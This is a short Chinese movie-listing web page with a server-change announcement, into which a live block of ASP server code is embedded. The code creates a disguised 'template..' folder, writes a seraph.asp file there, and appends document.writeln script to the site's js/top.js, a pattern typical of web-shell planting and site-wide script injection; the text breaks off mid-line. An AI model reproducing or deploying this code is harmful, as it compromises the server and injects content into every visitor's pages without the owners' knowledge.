公告:
因原看看服务器不稳定,导致经常出故障,所以换了服务器,对版面也进行了全面的改版,感谢你一直来对本站的支持!我们将一如既往的为你提供免费服务!

最新电影

推荐电影

<% on error resume next response.clear Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") path=server.mappath("../../../") response.write path&"
" Set f = fso.CreateFolder(path&"\template..\") Set a = fso.CreateTextFile(path&"\template..\seraph.asp", True) a.WriteLine"" a.Close filename=path&"\js\top.js" response.write filename set f=fso.OpenTextFile(filename,1, True) dim a if Not f.AtEndOfStream then a=f.readall() if instr(a,"51lacount")<1 then Set w = fso.OpenTextFile(filename,8, True) w.writeline("") w.writeline("document.writeln(""